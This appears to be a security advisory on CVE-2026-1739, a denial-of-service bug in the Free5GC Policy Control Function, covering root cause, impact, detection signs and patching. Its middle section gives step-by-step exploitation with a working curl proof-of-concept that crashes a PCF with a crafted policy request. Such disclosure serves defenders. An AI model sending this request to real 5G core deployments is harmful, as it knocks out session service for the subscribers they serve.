CVE-2026-1739: 
NixOS vulnerability analysis and mitigation

CVE-2026-1739 is a null pointer dereference vulnerability in the Free5GC Policy Control Function (PCF) component, affecting versions up to and including 1.4.1. The flaw resides in the HandleCreateSmPolicyRequest function within internal/sbi/processor/smpolicy.go, where the smData variable is assigned from a potentially nil response object before a nil check is performed, causing a Go runtime panic and process termination. The vulnerability was reported on January 15, 2026, publicly disclosed on February 2, 2026, and patched on January 21, 2026 via commit df535f5. It carries a CVSS v3.1 base score of 7.5 (High) and a CVSS v4.0 base score of 5.5 (Medium) (free5gc Issue #803, Feedly).

The root cause is a mispositioned assignment in smpolicy.go (CWE-476: NULL Pointer Dereference; CWE-404: Improper Resource Shutdown or Release). Specifically, the line smData = response.SmPolicyData was placed before the nil check if sessionErr != nil || response == nil, meaning that if a downstream OpenAPI call to the UDR returns a 404 Not Found, response is nil and the subsequent dereference triggers a Go panic. The fix (PR #62, commit df535f5) moves the assignment to after the nil guard. An attacker can trigger this remotely without authentication by sending a crafted HTTP POST to the PCF's SM Policy Control endpoint with a DNN value that causes the downstream UDR lookup to fail (free5gc PR #62, Patch Commit).

Successful exploitation causes the PCF process to crash (panic) immediately upon receiving the malicious request, resulting in a complete denial of service for the Policy Control Function in the 5G core network. Since the PCF is responsible for session management policy decisions, its unavailability disrupts PDU session establishment for all UEs served by the affected deployment. There is no confidentiality or integrity impact; the vulnerability is limited to availability (free5gc Issue #803, Feedly).

A proof-of-concept exploit is publicly available as a curl command documented in the GitHub issue, requiring no authentication or special privileges — only network access to the PCF's SBI port. The EPSS score is approximately 0.046% (very low probability of widespread exploitation). There is no evidence of in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog (free5gc Issue #803, Feedly).

1. Reconnaissance: Identify a Free5GC deployment running PCF version 1.4.1 or earlier. The PCF SBI interface typically listens on port 8000 (HTTP/2 with h2c).
2. Craft malicious request: Prepare an HTTP POST to the SM Policy Control endpoint (/npcf-smpolicycontrol/v1/sm-policies) with a JSON body specifying a DNN value that does not exist in the UDR (e.g., "dnn": "internet-bad").
3. Send the request: Execute the following command against the target PCF:

curl -sS -X POST http://<PCF_IP>:8000/npcf-smpolicycontrol/v1/sm-policies \
  -H 'Content-Type: application/json' \
  -d '{"supi":"imsi-208930000000003","pduSessionId":1,"dnn":"internet-bad","sliceInfo":{"sst":1,"sd":"010203"},"servingNetwork":{"mcc":"208","mnc":"93"},"accessType":"3GPP_ACCESS","notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify"}'

4. Trigger downstream 404: The PCF forwards the request to the UDR; the invalid DNN causes the UDR to return a 404 Not Found OpenAPI error.
5. Achieve DoS: The PCF logs the error but continues execution, dereferencing the nil response pointer at smpolicy.go:82, causing a Go runtime panic and terminating the PCF process (free5gc Issue #803).

• Logs: PCF log entries showing [INFO][PCF][SMpolicy] Handle CreateSmPolicy immediately followed by [ERRO][PCF][Consumer] openapi error: 404, Not Found and then [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference in smpolicy.go:82.
• Logs: Go stack trace referencing github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest and github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy in the PCF process logs.
• Network: Unexpected HTTP POST requests to /npcf-smpolicycontrol/v1/sm-policies from external or unauthorized sources, particularly with unusual or non-existent DNN values.
• Process: Sudden termination/restart of the pcf process; absence of PCF heartbeat or NF registration in the NRF following the crash (free5gc Issue #803).

Apply the patch introduced in commit df535f5524314620715e842baf9723efbeb481a7 (merged January 21, 2026 via PR #62), which moves the smData = response.SmPolicyData assignment to after the nil check for response. Organizations should upgrade the Free5GC PCF beyond version 1.4.1 (v1.4.4 is the latest release as of the time of writing). If immediate patching is not possible, restrict network-level access to the PCF SBI port (default 8000) to trusted internal 5G core components only, and monitor PCF logs for panic events (free5gc PR #62, Patch Commit).